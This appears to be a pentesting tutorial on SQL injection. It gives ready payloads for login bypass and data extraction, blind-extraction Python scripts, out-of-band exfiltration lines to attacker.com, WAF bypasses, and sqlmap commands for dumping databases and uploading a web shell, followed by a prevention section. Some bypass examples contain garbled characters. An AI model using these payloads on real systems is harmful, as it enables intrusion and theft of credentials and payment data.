SQL Injection (SQLi)
SQL Injection is one of the most critical web application vulnerabilities. It occurs when an attacker can insert malicious SQL code into application queries, potentially reading sensitive data, modifying databases, or executing administrative operations. This lesson covers SQLi types, manual exploitation, automated tools, and real-world scenarios.
What You'll Learn
- What is SQL injection
- How SQLi works
- Types of SQL injection
- Manual exploitation techniques
- Automated exploitation with sqlmap
- Database enumeration
- Data extraction
- Bypassing filters and WAFs
- Prevention and mitigation
What is SQL Injection?
The Vulnerability
SQL injection occurs when user input is improperly sanitized and directly concatenated into SQL queries:
// VULNERABLE CODE (PHP example)
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
The Problem: User input directly inserted into query without validation.
How It Works
Normal login:
username: alice
password: password123
Query: SELECT * FROM users WHERE username='alice' AND password='password123'
SQL Injection attack:
username: admin' OR '1'='1
password: anything
Query: SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
Result: Bypasses authentication! '1'='1' is always TRUE
Types of SQL Injection
1. In-Band SQLi (Classic)
Error-Based SQLi: Triggers database errors to extract information
' OR 1=1 --
' UNION SELECT NULL, NULL, NULL --
' AND 1=CONVERT(int, (SELECT @@version)) --
Union-Based SQLi: Uses UNION to combine results from multiple queries
' UNION SELECT username, password FROM users --
' UNION SELECT NULL, table_name FROM information_schema.tables --
2. Inferential SQLi (Blind)
Boolean-Based: Changes application response based on TRUE/FALSE conditions
' AND 1=1 -- (page loads normally - TRUE)
' AND 1=2 -- (page behaves differently - FALSE)
' AND (SELECT COUNT(*) FROM users) > 5 --
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a' --
Time-Based: Uses database sleep/delay functions
' AND SLEEP(5) -- (MySQL)
' AND pg_sleep(5) -- (PostgreSQL)
' AND WAITFOR DELAY '00:00:05' -- (MS SQL)
If page delays 5 seconds = vulnerable
3. Out-of-Band SQLi
Uses alternative channels (DNS, HTTP) to exfiltrate data:
'; EXEC xp_dirtree '\\attacker.com\share' -- (MS SQL)
'; SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users), '.attacker.com\\a')) --
Detecting SQL Injection
Manual Testing
1. Single quote test:
' or "
If error occurs = potential SQLi
2. Boolean test:
' OR 1=1 --
' OR 1=2 --
Different responses = Boolean SQLi
3. Time delay test:
' AND SLEEP(5) --
Page delays = Time-based SQLi
4. UNION test:
' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
(Keep adding NULLs until no error)
Common Injection Points
GET parameters:
https://site.com/page.php?id=1' OR '1'='1
POST data:
username=admin' OR '1'='1&password=anything
Cookies:
Cookie: session_id=abc123' OR '1'='1
HTTP Headers:
User-Agent: Mozilla/5.0' OR '1'='1
Referer: https://site.com/' OR '1'='1
Manual Exploitation: Union-Based SQLi
Step 1: Determine Number of Columns
' ORDER BY 1 -- (No error)
' ORDER BY 2 -- (No error)
' ORDER BY 3 -- (No error)
' ORDER BY 4 -- (Error!)
# Therefore: 3 columns
Alternative:
' UNION SELECT NULL -- (Error)
' UNION SELECT NULL, NULL -- (Error)
' UNION SELECT NULL, NULL, NULL -- (Success!)
Step 2: Find Injectable Columns
' UNION SELECT 'a', 'b', 'c' --
If you see 'b' displayed on page:
Column 2 is injectable
Step 3: Enumerate Database
# Database version
' UNION SELECT NULL, @@version, NULL -- (MySQL/MSSQL)
' UNION SELECT NULL, version(), NULL -- (PostgreSQL)
# Current database
' UNION SELECT NULL, database(), NULL -- (MySQL)
' UNION SELECT NULL, DB_NAME(), NULL -- (MSSQL)
# Current user
' UNION SELECT NULL, user(), NULL -- (MySQL)
' UNION SELECT NULL, current_user, NULL -- (PostgreSQL)
Step 4: List Tables
# MySQL
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema=database() --
# MSSQL
' UNION SELECT NULL, name, NULL FROM sysobjects WHERE xtype='U' --
# PostgreSQL
' UNION SELECT NULL, tablename, NULL FROM pg_tables WHERE schemaname='public' --
Step 5: List Columns
# MySQL
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --
# MSSQL
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --
Step 6: Extract Data
# Get usernames and passwords
' UNION SELECT NULL, username, password FROM users --
# Concatenate multiple columns
' UNION SELECT NULL, CONCAT(username, ':', password), NULL FROM users --
# Limit results (if needed)
' UNION SELECT NULL, username, password FROM users LIMIT 0,1 --
' UNION SELECT NULL, username, password FROM users LIMIT 1,1 --
Automated Exploitation: sqlmap
Installation
# Kali Linux (pre-installed)
sqlmap -h
# Manual installation
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python sqlmap.py -h
Basic Usage
# Test URL parameter
sqlmap -u "http://target.com/page.php?id=1"
# Test with POST data
sqlmap -u "http://target.com/login.php" --data "username=admin&password=pass"
# Test with cookie
sqlmap -u "http://target.com/page.php?id=1" --cookie "PHPSESSID=abc123"
# Test specific parameter
sqlmap -u "http://target.com/page.php?id=1&name=test" -p id
Database Enumeration
# List databases
sqlmap -u "http://target.com/page.php?id=1" --dbs
# List tables in database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
# List columns in table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --columns
# Dump table data
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump
# Dump all databases
sqlmap -u "http://target.com/page.php?id=1" --dump-all
Advanced sqlmap Options
# Specify DBMS
sqlmap -u "URL" --dbms=mysql
# Increase verbosity
sqlmap -u "URL" -v 3
# Use specific technique
# B: Boolean-based blind
# E: Error-based
# U: Union query-based
# S: Stacked queries
# T: Time-based blind
sqlmap -u "URL" --technique=BEUST
# Bypass WAF
sqlmap -u "URL" --random-agent
sqlmap -u "URL" --tamper=space2comment
# Use proxy
sqlmap -u "URL" --proxy="http://127.0.0.1:8080"
# Save traffic to file
sqlmap -u "URL" -t traffic.txt
# Batch mode (no prompts)
sqlmap -u "URL" --batch
# Get OS shell
sqlmap -u "URL" --os-shell
# Read file from server
sqlmap -u "URL" --file-read="/etc/passwd"
# Write file to server
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
Blind SQL Injection
Boolean-Based Exploitation
# Test TRUE condition
http://target.com/page.php?id=1' AND 1=1 --
(Page loads normally)
# Test FALSE condition
http://target.com/page.php?id=1' AND 1=2 --
(Page behaves differently - error, blank, etc.)
# Extract data character by character
# Check if first character of admin password is 'a'
http://target.com/page.php?id=1' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a' --
# Automate with script:
import requests
import string
url = "http://target.com/page.php?id=1"
password = ""
for position in range(1, 33): # Assume 32 char password
for char in string.printable:
payload = f"' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), {position}, 1) = '{char}' --"
r = requests.get(url + payload)
if "success_indicator" in r.text:
password += char
print(f"Found: {password}")
break
print(f"Password: {password}")
Time-Based Exploitation
# MySQL
http://target.com/page.php?id=1' AND IF(1=1, SLEEP(5), 0) --
# Extract data with time delays
http://target.com/page.php?id=1' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a', SLEEP(5), 0) --
# Script to automate:
import requests
import string
import time
url = "http://target.com/page.php?id=1"
password = ""
for position in range(1, 33):
for char in string.printable:
payload = f"' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'), {position}, 1) = '{char}', SLEEP(3), 0) --"
start = time.time()
r = requests.get(url + payload)
elapsed = time.time() - start
if elapsed >= 3:
password += char
print(f"Found: {password}")
break
print(f"Password: {password}")
Bypassing Filters and WAFs
Common Filters
# Space filtering
Bypass: /**/ %09 %0a %0b %0c %0d
Example: SELECT/**/username/**/FROM/**/users
# OR/AND filtering
Bypass: || &&
Example: '||'1'='1 '&&'1'='1
# Equals (=) filtering
Bypass: LIKE
Example: username LIKE 'admin'
# Quote filtering
Bypass: Hex encoding
Example: SELECT * FROM users WHERE username=0x61646d696e
# Comment filtering (-- and #)
Bypass: ;%00 ā+ ā-
Example: ' OR '1'='1'ā+
WAF Bypass Techniques
# Case variation
SeLeCt * FrOm users
# Inline comments
SEL/**/ECT * FR/**/OM users
# Encoding
%53%45%4C%45%43%54 (URL encoding)
SELECT (HTML encoding)
# Double encoding
%2553%2545%254C%2545%2543%2554
# Unicode
ļ¼ (fullwidth apostrophe)
# Buffer overflow/truncation
' OR 1=1 --+[space x 1000]
# Tamper scripts (sqlmap)
sqlmap -u "URL" --tamper=space2comment,between,randomcase
Practical Examples
Example 1: Login Bypass
# Basic bypass
Username: admin' OR '1'='1
Password: anything
Query: SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
# Comment out password check
Username: admin'--
Password: (leave empty)
Query: SELECT * FROM users WHERE username='admin'-- AND password=''
# Alternative syntax
Username: admin' OR 1=1#
Username: admin' OR 1=1/*
Example 2: Extract All User Data
# Step 1: Find injection point
http://target.com/product.php?id=1
# Step 2: Determine columns
http://target.com/product.php?id=1' ORDER BY 5--
# Step 3: Find injectable column
http://target.com/product.php?id=1' UNION SELECT NULL,NULL,NULL,NULL,NULL--
http://target.com/product.php?id=-1' UNION SELECT 1,2,3,4,5--
(See which numbers appear on page)
# Step 4: Get database name
http://target.com/product.php?id=-1' UNION SELECT 1,database(),3,4,5--
# Step 5: Get tables
http://target.com/product.php?id=-1' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=database()--
# Step 6: Get columns from 'users' table
http://target.com/product.php?id=-1' UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_name='users'--
# Step 7: Extract data
http://target.com/product.php?id=-1' UNION SELECT 1,CONCAT(username,':',password),3,4,5 FROM users--
Example 3: sqlmap Full Exploitation
# Step 1: Test for SQLi
sqlmap -u "http://target.com/product.php?id=1" --batch
# Step 2: Enumerate databases
sqlmap -u "http://target.com/product.php?id=1" --dbs --batch
# Output:
# [*] information_schema
# [*] mysql
# [*] webapp_db
# Step 3: Get tables from webapp_db
sqlmap -u "http://target.com/product.php?id=1" -D webapp_db --tables --batch
# Output:
# [*] users
# [*] products
# [*] orders
# Step 4: Get columns from users table
sqlmap -u "http://target.com/product.php?id=1" -D webapp_db -T users --columns --batch
# Step 5: Dump users table
sqlmap -u "http://target.com/product.php?id=1" -D webapp_db -T users --dump --batch
# Step 6: Crack hashes (if stored as hashes)
# sqlmap automatically attempts to crack common hash types
Practical Pentesting Scenarios
Scenario 1: E-commerce Site SQLi
# Target: http://shop.com/product.php?id=15
# 1. Test for SQLi
curl "http://shop.com/product.php?id=15'"
# Error message appears - vulnerable!
# 2. Enumerate with sqlmap
sqlmap -u "http://shop.com/product.php?id=15" --batch --dbs
# 3. Target customer database
sqlmap -u "http://shop.com/product.php?id=15" -D shop_db -T customers --dump
# 4. Extract credit card info (if stored - unencrypted = major finding!)
sqlmap -u "http://shop.com/product.php?id=15" -D shop_db -T payment_info --dump
# 5. Document findings in report
Scenario 2: Login Form POST SQLi
# Target: Login form at http://admin.site.com/login.php
# 1. Capture request with Burp Suite
POST /login.php HTTP/1.1
Host: admin.site.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=test123
# 2. Save request to file (login.req)
# 3. Test with sqlmap
sqlmap -r login.req --batch --level=3 --risk=3
# 4. Enumerate admin users
sqlmap -r login.req -D admin_db -T admin_users --dump
# 5. Try extracted credentials
Scenario 3: Blind SQLi with Time Delays
# Target: http://app.com/search.php?q=test
# 1. Test for time-based SQLi
curl "http://app.com/search.php?q=test' AND SLEEP(5)--"
# Delays 5 seconds - vulnerable!
# 2. Use sqlmap with time-based technique
sqlmap -u "http://app.com/search.php?q=test" --technique=T --batch --dbs
# 3. Extract data (slower than union-based)
sqlmap -u "http://app.com/search.php?q=test" --technique=T -D app_db -T users --dump --threads=5
Prevention and Mitigation
1. Parameterized Queries (Prepared Statements)
// SECURE CODE (PHP with PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$result = $stmt->fetch();
# SECURE CODE (Python)
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
2. Input Validation
// Whitelist allowed characters
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
die("Invalid username");
}
// Validate data types
$id = (int)$_GET['id'];
3. Stored Procedures
CREATE PROCEDURE GetUser(@username VARCHAR(50))
AS
BEGIN
SELECT * FROM users WHERE username = @username
END
4. Escaping User Input
// Last resort (parameterized queries preferred)
$username = mysqli_real_escape_string($conn, $username);
5. Least Privilege
-- Database user should only have SELECT permission
-- Not DROP, INSERT, UPDATE, DELETE
GRANT SELECT ON database.* TO 'webapp'@'localhost';
Quick Reference
Detection:
'
' OR '1'='1
' AND SLEEP(5)--
' UNION SELECT NULL--
sqlmap Basic:
sqlmap -u "URL"
sqlmap -u "URL" --dbs
sqlmap -u "URL" -D db --tables
sqlmap -u "URL" -D db -T table --dump
sqlmap POST:
sqlmap -r request.txt
sqlmap -u "URL" --data "param=value"
Bypass:
/**/ (space bypass)
--+ (comment)
0x61646d696e (hex encoding)
--tamper=space2comment (sqlmap)
Union SQLi:
' ORDER BY 1--
' UNION SELECT NULL, NULL--
' UNION SELECT @@version, database()--
' UNION SELECT table_name FROM information_schema.tables--
' UNION SELECT username, password FROM users--
Resources
Practice Labs
- DVWA (Damn Vulnerable Web Application)
- bWAPP
- HackTheBox web challenges
- TryHackMe SQLi rooms
- PortSwigger SQL Injection labs
Tools
- sqlmap
- Burp Suite
- OWASP ZAP
- Havij
- jSQL Injection
Further Reading
- SQL Injection Research - Deep-dive into SQL injection from a defensive and secure-coding perspective
- Injection Today Training - Modern injection attacks across SQL, NoSQL, ORM, and LLM contexts
Next Steps
- Practice on legal targets (CTF, lab environments)
- Master sqlmap - incredibly powerful tool
- Learn different DBMS (MySQL, MSSQL, PostgreSQL, Oracle)
- Study WAF bypass techniques
- Understand database structures (information_schema)
SQL Injection remains a top vulnerability. Master this skill for both offensive testing and defensive coding!
"'; DROP TABLE lessons;-- (Just kidding, always test ethically!)"